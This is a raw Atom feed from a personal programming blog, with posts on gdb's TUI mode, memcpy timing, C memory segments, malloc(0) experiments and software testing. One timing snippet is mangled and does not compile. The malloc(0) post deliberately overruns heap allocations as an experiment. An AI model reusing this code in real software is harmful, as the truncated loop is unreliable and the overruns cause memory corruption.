reviews.&lt;br /&gt;&lt;br /&gt;There are various travel related sites already available, but most concentrate on either static content, forum, travelogue or Hotels (booking etc).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The Logo is designed by me :) using simple kiconedit and gimp on Linux!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I feel, there is a need for comprehensive mashed up site where latest information is editable and easy to search. Backed up by user based reviews and forum, I dream of  building up a community of like minded travel freaks, and that is why&lt;br /&gt;&lt;a href="http://www.go-freak.com/"&gt;www.go-freak.com.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I had this idea in my mind since many years now and I am happy that this is going somewhere..&lt;br /&gt;&lt;br /&gt;ofcourse I need to learn a lot of stuff, HTML, PHP, Ajax, SQL basically all web building stuff. If you have references, links, tutorials, that will be a great help. My best bet right now is www.w3schools.com.&lt;br /&gt;&lt;br /&gt;This project is just a hobby..We have not decided on any commercial use or ROI.&lt;br /&gt;Its just a fellow traveler trying to come up with a community. Hope that it succeeds...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3755522377051493830?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3755522377051493830/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3755522377051493830' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3755522377051493830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3755522377051493830'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/02/lets-go-freak.html' title='Let&apos;s go-freak!'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_bVcXbCAptb0/SZutvIm3frI/AAAAAAAADxI/hu_ZICQ_Ohg/s72-c/go-small.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-7271004718888173254</id><published>2009-01-07T03:13:00.000-08:00</published><updated>2009-01-07T03:17:17.893-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Techno-Jazz'/><title type='text'>Poignant guide to Ruby</title><content type='html'>&lt;a name="section3"&gt;&lt;/a&gt;&lt;blockquote&gt;&lt;a name="section3"&gt; Against the odds, Yukihiro Matsumoto created Ruby on February 24, 1993. For the past ten years, he has steadily brought Ruby to a global audience. It’s triumphant and noble and all that. Support diversity. Help us tilt the earth just a bit.&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://poignantguide.net/ruby/"&gt;       http://poignantguide.net/ruby/&lt;/a&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://poignantguide.net/ruby/i/about.the.poignant.guide-2.jpg" title="Small infants can do it." alt="Small infants can do it." /&gt;&lt;/p&gt;&lt;a name="section3"&gt;&lt;/a&gt;&lt;a href="http://poignantguide.net/ruby/chapter-1.html" onmouseover="openBook()" onmouseout="shutBook()"&gt;&lt;img id="cover-image" src="http://poignantguide.net/ruby/i/2007-cover-open.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Must read...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-7271004718888173254?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/7271004718888173254/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=7271004718888173254' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7271004718888173254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7271004718888173254'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/01/poignant-guide-to-ruby.html' title='Poignant guide to Ruby'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5932759617455468158</id><published>2008-12-24T03:36:00.000-08:00</published><updated>2008-12-28T22:12:46.084-08:00</updated><title type='text'>Data copy!</title><content type='html'>You wanna copy some data?&lt;br /&gt;How about copying a big array into another array.&lt;br /&gt;&lt;br /&gt;1) One at a time&lt;br /&gt;2) All at one shot..&lt;br /&gt;&lt;br /&gt;Now my question is: Where does the difference lie?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;int main()&lt;br /&gt;{&lt;br /&gt;char source[65536], destination[65536];&lt;br /&gt;int i, j;&lt;br /&gt;&lt;br /&gt;for (j = 0; j &lt;&gt;&lt;br /&gt;COPY;&lt;br /&gt;}&lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;Case 1) #define COPY for (i = 0; i &lt;&gt;&lt;br /&gt;&lt;br /&gt;Case 2) #define COPY memcpy(destination, source, 65536)&lt;br /&gt;&lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;Now Compile and time it:&lt;br /&gt;#gcc smartcpy.c; time ./a.out&lt;br /&gt;&lt;br /&gt;--------------------------------------&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Comparison of the output:&lt;br /&gt;      Case 1        Case 2&lt;br /&gt;------------------------------------------&lt;br /&gt;real   0m3.553s      0m0.142s&lt;br /&gt;user   0m3.336s      0m0.141s&lt;br /&gt;sys    0m0.002s      0m0.001s&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now thats some remarkable performance difference..&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5932759617455468158?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5932759617455468158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5932759617455468158' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5932759617455468158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5932759617455468158'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/12/data-copy.html' title='Data copy!'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3652677027339535012</id><published>2008-12-22T20:38:00.000-08:00</published><updated>2008-12-22T20:58:01.191-08:00</updated><title type='text'>Canon EOS 5D Mark II</title><content type='html'>One Camera I would love to have...&lt;br /&gt;&lt;br /&gt;EOS 5D Mark II&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.usa.canon.com/uploadedimages/products/Cameras%20Product%20Main.jpg" /&gt;&lt;br /&gt;&lt;a href="http://www.usa.canon.com/dlc/controller?act=GetArticleAct&amp;amp;articleID=2128"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a ref="http://www.usa.canon.com/dlc/controller?act=GetArticleAct&amp;articleID=2326&amp;productID=249&amp;articleTypeID=225"&gt;Sample EOS 5D Mark II Video: Reverie&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;View Explorer of Light/PrintMaster Vincent Laforet's hauntingly beautiful short video, Reverie, shot entirely with the EOS 5D Mark II and EF Lenses.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3652677027339535012?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3652677027339535012/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3652677027339535012' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3652677027339535012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3652677027339535012'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/12/canon-eos-5d-mark-ii.html' title='Canon EOS 5D Mark II'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-337008999282195068</id><published>2008-12-17T00:16:00.000-08:00</published><updated>2008-12-17T00:54:15.351-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Techno-Jazz'/><title type='text'>Gdb source window</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bVcXbCAptb0/SUi3YWDVcfI/AAAAAAAADAA/fBgbWzGhA5Y/s1600-h/gdb.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 400px; height: 205px;" src="http://1.bp.blogspot.com/_bVcXbCAptb0/SUi3YWDVcfI/AAAAAAAADAA/fBgbWzGhA5Y/s400/gdb.png" alt="" id="BLOGGER_PHOTO_ID_5280672191956218354" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Aha,&lt;br /&gt;The magical command for gdb to show source window is:&lt;br /&gt;&lt;br /&gt;# gdb -tui ./a.out&lt;br /&gt;&lt;br /&gt;It also comes up with:&lt;br /&gt;(gdb) &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I accidentally tumbled on it and now no more watching source code one line at a time. ddd is history and no more plugins for Vim/Emacs to help debugging with gdb.&lt;br /&gt;&lt;br /&gt;Its all inbuilt. It's called tui mode.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-337008999282195068?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/337008999282195068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=337008999282195068' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/337008999282195068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/337008999282195068'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/12/gdb-source-window.html' title='Gdb source window'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_bVcXbCAptb0/SUi3YWDVcfI/AAAAAAAADAA/fBgbWzGhA5Y/s72-c/gdb.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-1927490886604278544</id><published>2008-12-15T02:24:00.000-08:00</published><updated>2008-12-15T02:26:03.611-08:00</updated><title type='text'>AVL / Red Black Trees</title><content type='html'>Nice representation of AVL Trees, Red black Trees in one applet:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webpages.ull.es/users/jriera/Docencia/AVL/AVL%20tree%20applet.htm"&gt;http://webpages.ull.es/users/jriera/Docencia/AVL/AVL%20tree%20applet.htm&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-1927490886604278544?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/1927490886604278544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=1927490886604278544' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1927490886604278544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1927490886604278544'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/12/avl-red-black-trees.html' title='AVL / Red Black Trees'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5158563779446010147</id><published>2008-12-11T04:11:00.000-08:00</published><updated>2008-12-11T04:28:45.553-08:00</updated><title type='text'>malloc(0)</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;#include &lt;string.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;#include &lt;stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;void main()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;  char * p = 0;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; p =  malloc(0);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; strcat(p, "cat");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; printf("\n%s\n", p);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;output: cat&lt;br /&gt;&lt;br /&gt;I tested the above program on:&lt;br /&gt;Linux 2.6.20-1.2962.fc6 #1 SMP x86_64 ,   gcc version 4.1.2 20070626 (Red Hat 4.1.2-13)&lt;br /&gt;&lt;br /&gt;Why does it work?&lt;br /&gt;&lt;br /&gt;We all know that malloc(0) returns a block of memory (which you are not suppose to use). The only explanation is that malloc instead of returning 0 size block, returns a valid x bytes of block. To minimize accounting for small blocks?&lt;br /&gt;&lt;br /&gt;To find out how much is that minimum block size, i wrote this:&lt;br /&gt;&lt;br /&gt; char * p = 0;&lt;br /&gt; char * q = 0;&lt;br /&gt;&lt;br /&gt; p =  malloc(0);&lt;br /&gt; q =  malloc(0);&lt;br /&gt;&lt;br /&gt;(gdb) p q-p&lt;br /&gt;$1 = 32&lt;br /&gt;&lt;br /&gt;voila! There you have it,&lt;br /&gt;malloc returns atleast 32 bytes on this system.&lt;br /&gt;&lt;br /&gt;To reconfirm I tested the above program with p =  malloc(1); q =  malloc(8);&lt;br /&gt;And q-p was still 32 bytes.&lt;br /&gt;&lt;br /&gt;Good enough!&lt;br /&gt;Now look at this:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;-------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;void main()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; char * p = 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; p =  malloc(0);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; for(int i=0; ; i++) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;     memset(p,0, i);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Run it under a debugger:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;0x0000000000400525 in main () at m.c:13&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;13           memset(p,0, i);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;(gdb) p i&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$1 = 135153&lt;br /&gt;&lt;br /&gt;Interesting, how come the program was able to write till &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;135153 &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;bytes before dying?&lt;br /&gt;Is there a reason for it?&lt;br /&gt;&lt;br /&gt;Running strace on the above program dumped:&lt;br /&gt;strace ./a.out&lt;br /&gt;&lt;br /&gt;brk(0)                                  = 0x601000&lt;br /&gt;brk(0x622000)                    = 0x622000&lt;br /&gt;--- SIGSEGV (Segmentation fault) @ 0 (0) ---&lt;br /&gt;+++ killed by SIGSEGV +++&lt;br /&gt;Process 17918 detached&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Interestingly 0x622000-0x601000 = 135168. and brk is a system command to:- change data segment size.&lt;br /&gt;&lt;br /&gt;Does that mean malloc internally creates a block of memory of size &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;135168? and ditributes pointers of atleast 32 bytes from this big chunk?&lt;br /&gt;&lt;br /&gt;probably yes!&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5158563779446010147?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5158563779446010147/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5158563779446010147' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5158563779446010147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5158563779446010147'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/12/malloc0.html' title='malloc(0)'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3291718718893404254</id><published>2008-12-02T21:07:00.000-08:00</published><updated>2008-12-02T22:09:31.149-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='testing requirements'/><title type='text'>Testing: Developer perspective</title><content type='html'>&lt;blockquote&gt;"Putting a Developer perspective to testing..."&lt;br /&gt;&lt;/blockquote&gt;&lt;a href="http://en.wikipedia.org/wiki/Software_testing"&gt;Software testing&lt;/a&gt;&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt; as many of us already know, is to mandate the quality of software  that has been developed by the engineering.&lt;br /&gt;&lt;br /&gt;This includes testing the &lt;span style="font-weight: bold;"&gt;functional requirements&lt;/span&gt; of the software.&lt;br /&gt;&lt;blockquote&gt;i.e. test the s/w for what it was meant for...&lt;/blockquote&gt;And some &lt;span style="font-weight: bold;"&gt;non functional requirement&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt; like performance, scalability, maintenance, Usability etc&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;* Most important of which is &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Usability: &lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;Imagine how gmail has changed the way we email? Remember the old yahoo email rendering engine? Refresh the whole page every time you clicked on compose/reply button. It was frustrating especially when the n/w bandwidth was premium.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;* And then comes Peformance:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;Non performing software is a hindrance, but tolerable to some extent. But software which shows hour glass figure for more than 5 seconds does blew my patience. No wonder I do not use eclipse. It takes atleast 15 seconds to boot-up on a 2Ghz machine with 2 GB Ram. VIM is much better, thank you.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;* Scalability is a issue for some&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;How much load can the software take? How many concurrent users can the server cater (given some h/w specifications)?&lt;br /&gt;&lt;br /&gt;Does it scale equally well as and when cpu and memory are increased? This is the most important requirement for servers and middle-ware applications.&lt;br /&gt;&lt;br /&gt;Example: If the application server can handle 500 msgs/sec and if we double the cpu and memory (h/w prices fall every 2 quarters) then: Does the server performance double(1000 msg/sec)? Most often its not a simple math.&lt;br /&gt;&lt;br /&gt;There are issues with the architecture and design of the software (global locks, memory fragmentation, too many context switches, queuing up, synchronous logging) which cause software performance degradation with load.&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;* Did I mention Security?&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;Application log sensitive data (log messages including Credit card numbers, authentication data, or user specific data).&lt;br /&gt;&lt;br /&gt;Programmers add Code specific information: __FUNCTION__, __LINE__, __FILE__. All this can be used to reverse engineer the code.&lt;br /&gt;&lt;br /&gt;Although programmers have now become sensitive to buffer over run exploits and hence use str&lt;span style="font-weight: bold;"&gt;n&lt;/span&gt;cpy versions (or someone doing the code review takes care of it) but still many developers are not keen in checking for invalid arguments.&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;Black box testing methods:&lt;/span&gt;&lt;br /&gt;There is a funky word for testing software for different input values. It's called equivalence partitioning. Meaning partition your input into Invalid and valid values and verify that the s/w stays still (doesn't crash!). Boundary value analysise(Max and Min values) are to be taken care as well. And taking it to the next level of random input is Fuzz testing.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;Not yet complete...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3291718718893404254?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3291718718893404254/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3291718718893404254' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3291718718893404254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3291718718893404254'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/12/testing.html' title='Testing: Developer perspective'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-2271923564257616405</id><published>2008-12-02T03:54:00.000-08:00</published><updated>2008-12-02T04:21:26.951-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Techno-Jazz'/><title type='text'>./a.out readonly strings</title><content type='html'>&lt;em&gt;&lt;strong&gt;Ever wondered why this program crashes?&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;void main() {&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;char * str = "NonWritable";&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt; str[0] = 'X';               /*&amp;lt;&amp;lt; Booom*/&lt;br /&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;}&lt;br /&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Compiling the same using &lt;/em&gt; &lt;code&gt;-fwritable-strings option to gcc however did not result in a segmentation fault.&lt;/code&gt;&lt;br /&gt;&lt;blockquote&gt;Let me warn you before you try it yourself. GCC removed the support of writable strings with 4.0 and above. Hence, GCC no longer accepts the &lt;code&gt;-fwritable-strings&lt;/code&gt; option.  Use named character arrays when you need a writable         string.&lt;br /&gt;&lt;br /&gt;What does that mean?&lt;br /&gt;&lt;br /&gt;It means that use this instead:    char str[] = {"Writable"}; instead of char * str = "Non Writable"&lt;/blockquote&gt;&lt;br /&gt;&lt;em&gt;Aha, now i get it...somehow char * str is marked read only? but where and how?&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Ok Lets dig in...&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;What Kinds of C Statements End Up in Which Segments? (Courtesy: &lt;/em&gt;"&lt;a href="http://www.amazon.com/Expert-Programming-Peter-van-Linden/dp/0131774298"&gt;Expert C Programming&lt;/a&gt;")&lt;br /&gt;&lt;br /&gt;Segments? Does it have to do with segments and Paging in OS architecture... hell no! Its something to do with how ./a.out (executables) are organized and laid out. Many Authors call segments as sections who want to distinguish the two types. But for now I would continue calling them as segments.&lt;br /&gt;&lt;br /&gt;Try this: Linux has a utility name &lt;strong&gt;size&lt;/strong&gt; which prints out size of various segments(or sections) of the executable.&lt;br /&gt;&lt;br /&gt;For example: size ./a.out&lt;br /&gt;&lt;br /&gt;&lt;strong&gt; text           data        bss               dec              hex       filename&lt;/strong&gt;&lt;br /&gt;1167    + 528 +  60032  = 61727     f11f      ./a.out&lt;br /&gt;&lt;br /&gt;Actual size of ./a.out is 9324 (9K Bytes) using dir equivalent.&lt;br /&gt;&lt;br /&gt;What is the &lt;strong&gt;size&lt;/strong&gt; program printing? Its actually printing various sizes of the segments in which the executable ./a.out is divided. As you might have guessed they are 'text' , bss and data.&lt;br /&gt;&lt;br /&gt;Here is the example copied from the "&lt;a href="http://www.amazon.com/Expert-Programming-Peter-van-Linden/dp/0131774298"&gt;Expert C Programming&lt;/a&gt;"&lt;br /&gt;&lt;br /&gt;&lt;a href="http://xmltech.files.wordpress.com/2008/12/screenshot-4.png"&gt;&lt;img class="alignleft size-full wp-image-84" title="screenshot-4" src="http://xmltech.wordpress.com/files/2008/12/screenshot-4.png" alt="screenshot-4" width="778" height="511" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here is the summary:&lt;br /&gt;- All Initialized Global/Static variable go into the data segment.&lt;br /&gt;&lt;br /&gt;- All uninitialized global variables go into the BSS segment. Since all global variables are initialized to zero by default, there is no need to remember it. That is probably why the bss segment was created.&lt;br /&gt;&lt;br /&gt;- char * str = "Non Writable" goes into the text segment, which is when loaded into the memory by the loader(?) is marked as read only. That is why the above program crashes!&lt;br /&gt;&lt;br /&gt;Now, I am wondering how can we write a self mutating program when the text segment is marked read only.&lt;br /&gt;&lt;br /&gt;- Variables declared on stack are not captured in any segment. Thus declaring a big array on stack does not increase your a.out size.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;But will declaring a huge array as global or static increase a.out size? &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;Lets see:&lt;br /&gt;&lt;br /&gt;Declaring a global array int arr[], compiling and running &lt;strong&gt;size&lt;/strong&gt; and also checking the actual size of the file a.out:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;size.c: &lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;char arr[64000];&lt;br /&gt;void main () {&lt;br 